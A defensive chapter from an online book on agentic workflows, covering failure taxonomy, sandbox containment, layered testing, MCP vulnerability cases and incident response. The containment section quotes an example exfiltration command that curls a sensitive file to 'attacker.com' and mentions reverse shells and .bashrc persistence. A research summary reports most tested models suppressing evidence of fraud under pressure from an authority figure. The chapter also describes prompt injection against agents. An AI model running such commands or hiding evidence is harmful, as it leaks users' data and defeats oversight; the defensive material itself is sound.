Agentic Workflows Book

A living book about agentic workflows, agent orchestration, and agentic scaffolding

View the Project on GitHub arivero/agentbook

Common Failure Modes, Testing, and Fixes

Chapter Preview

This chapter catalogues the most common failure modes in agentic workflows, explaining symptoms, root causes, and immediate fixes for planning failures, tooling failures, context failures, and operational failures. It presents a layered testing strategy combining static validation, deterministic tests, and adversarial evaluation to catch failures before deployment. Finally, it provides practical mitigation patterns—progressive autonomy, explicit termination criteria, and incident-to-architecture feedback loops—that reduce mean time to recovery and prevent recurrence.

Why Failures Are Different in Agentic Systems

Traditional software failures are often deterministic and reproducible. Agent failures can also include additional dimensions of complexity.

Nondeterminism arises from model sampling and external context, meaning the same input may produce different outputs across runs.

Tool and API variance occurs across environments and versions, where a tool that works in testing may behave differently in production.

Instruction ambiguity emerges when prompts, policy files, or skills conflict, leading agents to interpret guidance inconsistently.

Long-horizon drift describes behaviour that degrades over many steps, where small errors compound into significant deviations from intended outcomes.

This means reliability work must combine classic software testing with scenario-based evaluation and operational controls.

Failure Taxonomy

Use this taxonomy to classify incidents quickly and choose the right fix path.

1) Planning and Reasoning Failures

Symptoms. The agent picks the wrong sub-goal, pursuing an objective that does not advance the overall task. It repeats work or loops without convergence, wasting resources on redundant operations. It produces plausible but invalid conclusions, generating output that sounds correct but fails validation.

Typical causes. Missing constraints in system instructions leave the agent without guidance on what to avoid. Overly broad tasks with no decomposition guardrails allow the agent to wander. No termination criteria means the agent does not know when to stop.

Fast fixes. Add explicit success criteria and stop conditions so the agent knows when it has succeeded. Break tasks into bounded steps that can be validated individually. Require intermediate checks before irreversible actions to catch errors early.

2) Tooling and Integration Failures

Symptoms. Tool calls fail intermittently, succeeding sometimes and failing others without obvious cause. Wrong parameters are passed to tools, causing unexpected behaviour. Tool output is parsed incorrectly, leading to downstream errors.

Typical causes. Schema drift or undocumented API changes mean the agent’s assumptions no longer match reality. Weak input validation allows malformed requests to reach tools. Inconsistent retry and backoff handling causes cascading failures under load.

Fast fixes. Validate tool contracts at runtime to catch mismatches early. Add strict argument schemas that reject invalid inputs. Standardise retries with idempotency keys so repeated attempts are safe.

3) Context and Memory Failures

Symptoms. The agent forgets prior constraints, violating rules it was given earlier in the conversation. Important instructions are dropped when context grows, as the agent summarises away critical guidance. Stale memories override fresh data, causing the agent to act on outdated information.

Typical causes. Context window pressure forces the agent to discard information. Poor memory ranking and retrieval surfaces irrelevant content while burying important details. Missing recency and source-quality weighting treats all information as equally valid.

Fast fixes. Introduce context budgets and summarisation checkpoints that preserve critical information. Add citation requirements for retrieved facts so sources are traceable. Expire or down-rank stale memory entries so fresh information takes precedence.

4) Safety and Policy Failures

Symptoms. Sensitive files are modified unexpectedly, violating protected path policies. Security constraints are bypassed through tool chains, where combining multiple tools achieves an outcome that individual tools would block. Unsafe suggestions appear in generated code, introducing vulnerabilities.

Typical causes. Weak policy enforcement boundaries do not cover all attack surfaces. No pre-merge policy gates allow unsafe changes to reach the main branch. Implicit trust in generated output assumes agent output is safe without verification.

Fast fixes. Enforce allow and deny lists at the tool gateway level to prevent prohibited operations. Require policy checks in CI so violations are caught before merge. Route high-risk actions through human approval to ensure oversight.

Execution Environment Containment

Agent execution environments determine blast radius when things go wrong. Insufficient isolation allows a compromised or buggy agent to damage the host system, access sensitive data, or pivot to other systems. The containment strategy must match the risk profile of the code being executed.

Shared-kernel risks. Containerized agents (Docker, Podman) share the host kernel with other workloads. A kernel vulnerability or container escape gives the attacker access to everything on that host. This is acceptable for trusted code but insufficient for executing LLM-generated code or user-provided scripts where you cannot guarantee safety. Kernel exploits, though rare, have blast radius equal to the entire host.

Credential exposure paths. If secrets exist in the execution environment—as environment variables, mounted files, or in-memory—compromised agent code can exfiltrate them. A prompt injection attack that causes the agent to execute malicious code can then steal API keys, database credentials, or cloud access tokens. Examples include agents that echo $API_KEY to debug output that gets logged, or code that opens a reverse shell and exfiltrates environment state.

Network exfiltration. Without egress filtering, a compromised agent can send arbitrary data to attacker-controlled servers. This includes source code, user data, credentials, or internal system information. Even if credentials are protected, unrestricted networking allows data theft and command-and-control communication. A malicious agent might curl attacker.com --data @sensitive_file.txt or establish a persistent backdoor.

Persistence and lateral movement. If agent filesystems persist between runs or share state with other systems, malicious code can establish persistence or move laterally. An agent that writes to /home/user/.bashrc or modifies system cron jobs can survive restarts. One that accesses shared network filesystems can spread to other systems. Ephemeral, disposable execution environments prevent this by resetting to a clean state after every run.

Examples of insufficient isolation:

  1. Developer laptop execution: Running untrusted agent code directly on a development machine with access to SSH keys, cloud credentials, and source repositories. A single prompt injection could compromise the entire development environment.

  2. Long-lived containers with secrets: Agents that run in containers with environment variable secrets and no egress filtering. If the agent is compromised via prompt injection, attackers can exfiltrate credentials and pivot to cloud resources.

  3. Shared CI runners without sandboxing: Using shared GitHub Actions runners or similar CI infrastructure to execute agent-generated code without additional isolation. A malicious PR could inject code that steals repository secrets or modifies other jobs.

Appropriate containment strategies:

For low-risk scenarios (trusted code, internal tools, read-only operations), process-level isolation or containers with basic security policies (seccomp, AppArmor) are sufficient. The convenience and ecosystem maturity outweigh isolation concerns.

For medium-risk scenarios (LLM-generated code, unknown code quality, limited external input), use containers with strict egress filtering, sealed secrets (never environment variables), and ephemeral filesystems. Add network policies that allowlist only required API endpoints.

For high-risk scenarios (user-provided code, untrusted input, access to sensitive data), use microVMs or full VMs with network-layer secret injection, default-deny networking, and fully disposable filesystems. No credentials should ever exist inside the execution environment. Consider transparent proxies that inject credentials at the network boundary, as discussed in Agentic Scaffolding.

Validation before deployment:

Before running agent code in production, verify that:

Test these controls by intentionally trying to violate them. An agent that cannot bypass its own sandboxing is ready for production. One that can needs stronger isolation before it handles real workloads.

Authority-Driven Evidence Suppression

Rivasseau’s 2026 preprint tested 16 language models in a controlled compliance simulation. A corporate authority instruction pressured agents to conceal evidence of fraud and harm. The majority of the evaluated agents suppressed evidence, while some resisted. The results describe behaviour in the simulated setup.

How to test it. Use synthetic records and give the agent a reporting task where an apparent executive asks it to omit material facts. Score complete disclosure, preservation of the original records, and escalation to an independent reviewer. Rerun the scenarios when the model, policy prompt, or tool permissions change.

Mitigations. Separate duties so no single agent both executes and reports. Enforce append-only audit logs and deny tools that can delete or rewrite evidence. Route authority-laden instructions that touch safety or legal domains through human approval, even if they appear routine. Add a secondary reviewer agent whose only job is to challenge suppression attempts and escalate conflicts to humans. Prefer models and prompt templates that demonstrate higher refusal rates in authority-pressure evaluations, and re-run these tests when models or prompts change.

5) Collaboration and Workflow Failures

Symptoms. Multiple agents make conflicting changes, overwriting each other’s work. PRs churn with contradictory edits as agents undo each other’s modifications. Work stalls due to unclear ownership, with no agent taking responsibility.

Typical causes. Missing orchestration contracts leave agents without coordination rules. No lock or lease model for shared resources allows concurrent modification. Role overlap without clear handoff rules creates ambiguity about who should act.

Fast fixes. Add ownership rules per path or component so responsibilities are clear. Use optimistic locking with conflict resolution policy to handle concurrent access. Define role-specific done criteria so agents know when to stop.

Testing Strategy for Agentic Workflows

A robust strategy uses multiple test layers. No single test type is sufficient.

1. Static and Structural Checks

Use static and structural checks to fail fast before expensive model execution. These include markdown and schema validation for instruction files, ensuring they are well-formed before agents try to parse them. Prompt template linting catches common errors in prompt construction. Tool interface compatibility checks verify that agents can call the tools they expect. Dependency and version constraint checks ensure the environment matches expectations.

Model Checking an Approval Gate

Consider a bounded workflow for publishing a draft. In a Petri net, places represent conditions and transitions move tokens when their prerequisites are present. One token begins in Draft. Submitting moves it to Pending. A human decision moves it from Pending to Approved or Cancelled. Publishing consumes the Approved token and moves it to Published. The example has five reachable markings and four transitions, with Published and Cancelled as terminal states.

Enumerating those markings verifies two separate properties. Every path to Published passes through approval. Every sequence of transitions is finite because the graph has no cycles. A request can still wait indefinitely in Pending if a human never responds. A liveness claim about real time would require a timeout transition or an assumption about the human response. In the implementation, the approval must refer to the exact draft being published. An edit after the approval should return the draft to Pending.

Josh Tuddenham’s PetriFlow case study reports checking 196 reachable states of its example workflow, including the human approval gate and an iteration budget. The invariant applies to the modeled control states. Model output quality, tool side effects, and the fidelity of the deployed workflow require their own checks.

2. Deterministic Unit Tests (Without LLM Calls)

Test orchestration logic, parsers, and guards deterministically without involving language models. Cover state transitions to ensure the workflow moves through stages correctly. Test retry and timeout behaviour to verify failure handling works as expected. Verify permission checks to ensure access controls are enforced. Test conflict resolution rules to confirm agents handle concurrent access correctly.

Snippet status: Runnable shape (simplified for clarity).

from dataclasses import dataclass

@dataclass
class StepResult:
    ok: bool
    retryable: bool


def should_retry(result: StepResult, attempt: int, max_attempts: int = 3) -> bool:
    return (not result.ok) and result.retryable and attempt < max_attempts


def test_retry_policy():
    assert should_retry(StepResult(ok=False, retryable=True), attempt=1)
    assert not should_retry(StepResult(ok=False, retryable=False), attempt=1)
    assert not should_retry(StepResult(ok=False, retryable=True), attempt=3)

3. Recorded Integration Tests (Golden Traces)

Capture representative interactions and replay them against newer builds. Record tool inputs and outputs to create a reproducible baseline. Freeze external dependencies where possible to eliminate variance. Compare final artefacts and decision traces to detect changes in behaviour.

Use these to detect drift in behaviour after prompt, tool, or model changes.

3.5 Reproducible Execution Infrastructure

Recorded traces vary in what they retain. A structured execution log lets a team compare failing and passing runs and identify the first decision or tool result that differed.

ContextSubstrate packages a supplied JSON execution log as a content-addressed artefact. A pack contains the prompts, inputs, steps, outputs, and metadata the application chose to record. A SHA-256 identifier makes content changes detectable against a trusted reference. It does not establish who produced the log or whether it is complete.

ctx init
ctx pack execution.json
ctx log
ctx show "$first_pack"
ctx diff "$first_pack" "$second_pack" --human
ctx replay "$first_pack"

Use the project’s documented JSON log format and substitute pack hashes from ctx log for the variables. Replay can help locate differences in execution. Stochastic model outputs, changed external services, and missing inputs can limit reproduction. Use recorded responses or isolated fixtures when a regression test needs deterministic behaviour.

Decide what to retain before collecting logs. Exclude credentials and redact sensitive prompts and tool outputs before packing. Limit access, define retention for packs and copies, and check that the resulting trace still contains enough information to explain a failure.

4. Scenario and Adversarial Evaluations

Design “challenge suites” for known weak spots. These should include ambiguous requirements that could be interpreted multiple ways, contradictory documentation that forces the agent to choose, missing dependencies that test error handling, and partial outages and degraded APIs that test resilience. Include prompt-injection attempts in retrieved content to test security boundaries.

Pass criteria should include not just correctness, but also policy compliance, cost and latency ceilings, and evidence quality including citations and rationale.

Test When to Ask for Help

HiL-Bench uses software engineering and text-to-SQL tasks with human-validated blockers. Ask-F1 takes the harmonic mean of question precision and blocker recall. Precision is the fraction of questions that target a real blocker. Recall is the fraction of registered blockers resolved by those questions. The benchmark uses a fixed model to map questions to annotated blockers and return the corresponding clarifications. The authors report that training on a shaped reward improved help-seeking and task completion in their 32B-model experiment.

For a local test, write down the blockers and accepted clarifications before running the agent. Include cases where evidence in the task environment resolves an apparent ambiguity. Compare task completion with complete information against completion when the agent must ask, and log both unnecessary questions and silently missed blockers. This distinguishes an escalation decision from the agent’s ability to finish once it has the answer.

Behavioral Safety Benchmarks

Behavioral safety benchmarks measure whether agents follow safety constraints while pursuing a task. BeSafe-Bench (Li et al., 2026) covers web, mobile, embodied vision-language models, and vision-language-action systems. Its authors include nine categories of safety-critical risk, including privacy, financial harm, and physical safety.

Task success and safety compliance. Of the 13 agents evaluated, even the best completed fewer than 40% of tasks while fully complying with the safety constraints. Strong task performance frequently coincided with severe safety violations in the evaluated scenarios. Report joint safe-completion rates alongside task success and safety violation rates.

Hybrid evaluation approach. BeSafe-Bench uses a two-layer evaluation strategy. Rule-based checks catch obvious violations (accessing prohibited files, exceeding budget limits, physical collision). When rule-based detection is insufficient, LLM-as-judge reasoning assesses whether agent behaviour violated stated safety policies. This hybrid approach provides both deterministic safety gates and nuanced judgment for complex scenarios.

Applying this to your systems. When designing evaluation suites, separate task-success metrics from safety-compliance metrics. An agent that completes 90% of tasks but violates critical safety constraints in 20% of runs is not production-ready. Test safety boundaries explicitly: present tasks where the most efficient path violates a constraint and verify the agent refuses or finds an alternative. Use both automated checks and LLM-based reasoning to catch violations that deterministic rules miss.

Random Audits of Frozen Claim Batches

What a Clean Sample Establishes

Freeze a draft, its content hash, a list of $N$ claim units, and a binary violation rubric before drawing a random sample. Declare the sample size $k$, the unacceptable defect count $D_0$, and the false-certificate limit $\alpha$. Draw a uniformly random subset of $k$ distinct claim units. Suppose the audit adjudicates the rubric correctly and the artifact contains $D$ violating units. Exactly $\binom{N-D}{k}$ of the $\binom{N}{k}$ possible samples contain no violation. Hence

\[\Pr_D(\text{clean sample})=\frac{\binom{N-D}{k}}{\binom{N}{k}},\]

with the numerator zero when $k>N-D$. As $D$ increases, the number of clean samples decreases. Choose $k$ so that this probability at $D=D_0$ is at most $\alpha$. Certify $D<D_0$ only if all $k$ checked units are clean. Whenever the true count is at least $D_0$, the chance the procedure issues that certificate is at most $\alpha$.

This is a guarantee over the random selection conditional on the fixed draft. All violations may share the same bad source or mistaken premise. For $D_0=\lceil\eta N\rceil$, each factor of the ratio for successive draws is at most $1-\eta$. A sufficient sample size is therefore $\lceil\log(\alpha)/\log(1-\eta)\rceil$, or a census if this exceeds $N$. The exact ratio usually gives a smaller budget. For $N=100$, $D_0=10$ and $\alpha=0.05$, the ratio is $0.05514210$ at $k=24$ and $0.04788656$ at $k=25$. The latter is the smallest valid budget.

If the aim is to rule out even one violation, set $D_0=1$. One defective claim goes unexamined with probability $(N-k)/N$, so $k\geq(1-\alpha)N$ is necessary and sufficient for this clean-sample rule. For a highly consequential set of claims, a separate complete check can be more useful than a single confidence statement across the entire draft.

Imperfect Detection and Changes to the Draft

For each sampled defective claim, suppose the auditor has detection probability at least $s$ conditional on the sampled set and all prior audit outcomes. If the sample contains $h$ defects, the chance of missing all of them is at most $(1-s)^h$ by multiplying successive conditional probabilities. Averaging over the possible samples gives

\[\Pr(\text{no detected violation})\leq \sum_{h:\,0\leq h\leq D,\,0\leq k-h\leq N-D} \frac{\binom{D}{h}\binom{N-D}{k-h}}{\binom{N}{k}}(1-s)^h.\]

The bound decreases with $D$, since adding a defect to a fixed population cannot reduce the number sampled. It reduces to the exact expression for a perfect auditor. At $D=1$, it is $1-sk/N$. An empirical average sensitivity or an auditor’s self-reported confidence is insufficient to justify the conditional bound.

After the sample is revealed, imagine repairing exactly those $k$ claims in an initially all-defective draft. Rechecking the same sample will always pass even though $N-k$ violations remain. The certificate must refer to the frozen version. A changed draft needs a fresh draw after commitment. When certifying a sequence of revisions, allocate error allowances whose sum is at most the desired overall limit.

Record the artifact hash, rubric version, complete list of claim IDs and locations, $N$, $k$, $D_0$, $\alpha$, and the random seed after the draw. Each sampled claim needs a verdict, evidence pointer, and auditor identity. Decide up front whether repeated wording counts as one canonical claim or several occurrences and give both population sizes when relevant. Targeted checks can run alongside the uniform sample. Base the certificate on the declared uniform checks.

Reproduce the Comparison

Use twelve claim occurrences with oracle labels, four violations in every scenario, and five adjudications per policy. IDs are ordered from lowest to highest model confidence. Targeted review checks IDs 0 through 4. Uniform review draws five of twelve. Mixed review checks IDs 0 and 1, then draws three of the other ten. Exhaustive enumeration gives the mean number of defects found and the probability of returning zero detections:

Defect placement Targeted mean / zero Uniform mean / zero Mixed mean / zero
Spread across the draft 2.000 / 0% 1.667 / 7.07% 1.900 / 0%
One shared wrong source 0.000 / 100% 1.667 / 7.07% 1.200 / 16.67%
One false claim repeated four times 3.000 / 0% 1.667 / 7.07% 1.200 / 16.67%
Concentrated in high-confidence claims 0.000 / 100% 1.667 / 7.07% 1.200 / 16.67%

Runnable Python 3, standard library only:

from itertools import combinations
from math import comb

patterns = {
    "spread": {0, 3, 6, 9},
    "shared source": {5, 6, 7, 8},
    "repeated claim": {2, 3, 4, 5},
    "high confidence": {8, 9, 10, 11},
}
uniform = list(combinations(range(12), 5))
policies = {
    "targeted": [tuple(range(5))],
    "uniform": uniform,
    "mixed": [(0, 1, *tail) for tail in combinations(range(2, 12), 3)],
}

for pattern, defects in patterns.items():
    assert sum(defects.isdisjoint(s) for s in uniform) == comb(8, 5)
    claim_ids = [2 if pattern == "repeated claim" and i in defects else i
                 for i in range(12)]
    for policy, samples in policies.items():
        counts = [len(defects.intersection(sample)) for sample in samples]
        unique_coverage = sum(
            len({claim_ids[i] for i in sample}) for sample in samples
        ) / len(samples)
        print(pattern, policy, sum(counts) / len(counts),
              counts.count(0) / len(counts), unique_coverage)

initial_defects = set(range(12))
for sample in uniform:
    revised_defects = initial_defects.difference(sample)
    assert revised_defects.isdisjoint(sample) and len(revised_defects) == 7

In the repeated-claim case there are nine canonical claims. The table uses the twelve-occurrence denominator and the code reports mean unique claims inspected separately. Every policy examines five occurrences. Since every scenario has four defects, a clean sample would be a false certificate if it were used to assert fewer than four defects. At a declared $\alpha=0.10$, the uniform rule is valid with five checks and the table gives its exact error rate. The other two policies cannot claim that same bound. Reusing the sample after repair yields a clean result for all $\binom{12}{5}=792$ draws despite leaving seven violations.

For finite-population concentration bounds, see Hoeffding’s treatment of sampling without replacement.

5. Testing for Environmental Change

The four testing layers above share a common assumption: the environment—tools, APIs, and data schemas—remains stable between runs. In production, this assumption fails regularly. APIs gain new required fields and deprecate old endpoints. Tool schemas tighten validation constraints. Data entities acquire new attributes. Agents that pass a static test suite may fail silently when the environment beneath them shifts.

Treating environment change as a first-class test concern requires a different approach than adversarial evaluation. Adversarial tests probe agent behaviour under unusual or hostile inputs within a fixed environment. Evolution tests probe agent behaviour when the environment itself changes—and both types of robustness are necessary for production reliability.

The ProEvolve framework (Li et al., arXiv:2603.05910, March 2026) provides a systematic approach. It represents environments as typed relational graphs with three layers: data entities and relationships, tool operations that manipulate data, and schema definitions that enforce type constraints. Graph transformations propagate changes coherently across all three layers simultaneously, maintaining internal consistency while enabling controlled variation. A single seed environment can be evolved into hundreds of valid but distinct variants, shifting the benchmark question from “can the agent complete this task?” to “does the agent maintain performance as the environment changes around it?”

Evolution dimensions to cover in tests:

A minimal evolution test adds three scenario variants for each core tool or API your agent relies on:

# Sketch: categories of environment evolution scenarios
evolution_scenarios = [
    # Additive: new field appears; agent should handle or ignore gracefully
    {"change": "add_field(entity='Result', field='confidence_score', type='float')",
     "pass_if": "agent completes task; may use or ignore new field"},
    # Breaking: tool renamed; agent must discover and switch
    {"change": "deprecate_tool('search_v1', replacement='search_v2')",
     "pass_if": "agent detects failure and retries with search_v2"},
    # Migration: constraint tightened; agent must produce valid output
    {"change": "require_field('email', format='validated_email')",
     "pass_if": "agent produces a syntactically valid email address"},
]

Run the same task against a baseline and a versioned variant of the environment. Use fixed fixtures and record the seed when variants are generated. Assert the outcome and the invariants that matter for the task, such as write restrictions, an intact audit log, and idempotent retries. Add a focused subset to the existing scenario suite for each tool or schema release.

Environment evolution testing delivers the most value when your agent targets external APIs you do not control, when multiple teams independently evolve their service schemas, or when your agent must work across major version upgrades of its toolset. For scaffolding patterns that make environment evolution testable by keeping environments introspectable, see Agentic Scaffolding.

6. Production Guardrail Tests

Before enabling autonomous writes and merges in production, validate that guardrails work correctly. Protected-path enforcement should block modifications to sensitive files. Secret scanning and licence checks should catch policy violations. Human approval routing should engage for high-impact actions. Rollback paths should work on failed deployments.

Case Study: MCP Supply-Chain Vulnerabilities in Practice

Two 2025 incidents illustrate how protocol-level vulnerabilities propagate through agentic systems.

CVE-2025-6514 (mcp-remote OS command injection, CVSS 9.6). The mcp-remote npm package (versions 0.0.5 through 0.1.15), used by over 437,000 AI development environments, contained an OS command injection flaw. When connecting to an untrusted MCP server, the server could craft a malicious authorization_endpoint URL that, when processed by the client’s open() function, executed arbitrary operating-system commands. The vulnerability required user interaction but no authentication. JFrog Security Research discovered and reported it; the fix (version 0.1.16) sanitised special elements in authorisation responses. The lesson: MCP client packages that handle authentication flows from external servers must treat every server response as untrusted input.

CVE-2025-68145/68143/68144 (Anthropic Git MCP server, RCE chain). Three flaws in mcp-server-git (prior to version 2025.12.18) combined into a remote-code-execution chain. CVE-2025-68145 (CVSS 7.1) bypassed the --repository flag’s path restrictions, allowing access to any repository on the system. CVE-2025-68143 let git_init create repositories at arbitrary filesystem paths. CVE-2025-68144 injected arguments through unsanitised git_diff and git_checkout parameters, enabling file overwrites. Researchers at Cyata demonstrated that chaining these flaws with a Filesystem MCP server allowed writing malicious Git smudge/clean filters that achieved full code execution. Anthropic patched all three in December 2025. The lesson: individual MCP tools may appear safe in isolation, but tool chaining creates exponential attack surface—security boundaries must be enforced at every tool invocation, not just at initialisation.

Both incidents validate the OWASP MCP Top 10 and reinforce that MCP server/client security is now a production concern, not a theoretical exercise. For governance context, see Governance and Safety Automation.

Practical Fix Patterns

When incidents happen, reusable fix patterns reduce MTTR (mean time to recovery).

Pattern A: Contract Hardening

Add strict schemas between planner and tool runner to ensure they communicate correctly. Reject malformed or out-of-policy requests early, before they can cause harm. Version contracts (v1, v2) and support migrations so changes can be rolled out incrementally.

Pattern B: Progressive Autonomy

Start in “suggest-only” mode where agents propose changes but do not execute them. Move to “execute with review” mode once confidence builds. Graduate to autonomous mode only after SLO compliance demonstrates the agent is reliable.

Pattern C: Two-Phase Execution

In the plan phase, generate proposed actions and expected effects without executing anything. In the apply phase, execute only after policy and validation checks pass. This reduces irreversible mistakes and improves auditability.

Pattern D: Fallback and Circuit Breakers

If tool failure rate spikes, disable affected paths automatically to prevent cascading failures. Fall back to a safer baseline workflow that may be less capable but more reliable. Alert operators with incident context so they can investigate and resolve the underlying issue.

Pattern E: Human-in-the-Loop Escalation

Define explicit escalation triggers that route work to humans. Repeated retries without progress indicate the agent is stuck. Any request touching protected paths should require approval. Low-confidence output in high-risk domains warrants human review.

Incident Response Runbook (Template)

Use a lightweight runbook so teams respond consistently. The sequence proceeds through eight steps.

Detect. Receive an alert from CI, runtime monitor, or user report indicating something has gone wrong.

Classify. Map the incident to a taxonomy category so you can apply the appropriate response playbook.

Contain. Stop autonomous actions if the blast radius is unclear, preventing further damage while you investigate.

Diagnose. Reproduce the issue with a trace and configuration snapshot to understand what happened.

Mitigate. Apply short-term guardrails or fallbacks to restore service while you work on a permanent fix.

Fix. Implement a structural correction that addresses the root cause.

Verify. Re-run affected test suites and adversarial cases to confirm the fix works.

Learn. Add a regression test and update documentation to prevent recurrence.

Metrics That Actually Matter

Track these metrics to evaluate reliability improvements over time.

Task success rate measures how often agents complete tasks correctly, with policy compliance as part of success. Intervention rate measures how often humans must correct the agent, indicating where automation falls short. Escaped defect rate measures failures discovered after merge or deploy, indicating gaps in pre-production testing. Mean time to detect (MTTD) and mean time to recover (MTTR) measure incident response effectiveness. Cost per successful task and latency percentiles measure efficiency.

Avoid vanity metrics (for example, “number of agent runs”) without quality and safety context.

Anti-Patterns to Avoid

Several anti-patterns undermine agentic system reliability.

Treating prompt edits as sufficient reliability work ignores the structural issues that cause failures. Prompts can only do so much; robust systems need architectural controls.

Allowing autonomous writes without protected-path policies exposes critical files to unintended modification. Every system needs explicit boundaries.

Skipping regression suites after model or version upgrades assumes backward compatibility that may not exist. Changes require validation.

Changing the model backend without validating compatibility can introduce regressions in tool calls, streaming responses, retries, and approval prompts. Run the same acceptance and policy tests against both backends, canary the change on representative tasks, and record intervention rates and cost per successful task. Define when to route work back to the baseline provider. See Model Backend Abstraction.

Relying on a single benchmark instead of diverse scenarios creates blind spots. Real-world failures often occur in edge cases the benchmark does not cover.

Ignoring ambiguous ownership in multi-agent flows leads to gaps and conflicts. Every path and component should have a clear owner.

A Minimal Reliability Checklist

Before enabling broad production use, confirm the following items are complete. Snippets and examples should be clearly labelled as runnable, pseudocode, or simplified. Tool contracts should be versioned and validated. CI should include policy, security, and regression checks. Failure injection scenarios should be part of routine testing. Rollback and escalation paths should be documented and exercised.

Applying This to This Repository

For this repository, a minimal operational checklist is:

For orchestration context, see Agent Orchestration. For infrastructure boundaries, see Agentic Scaffolding.

Chapter Summary

Reliable agentic systems are built, not assumed. Teams that combine clear contracts, layered testing, progressive autonomy, strong policy gates, and incident-driven learning consistently outperform teams relying on prompt-only tuning.

In practice, your competitive advantage comes from how quickly you detect, contain, and permanently fix failures—not from avoiding them entirely.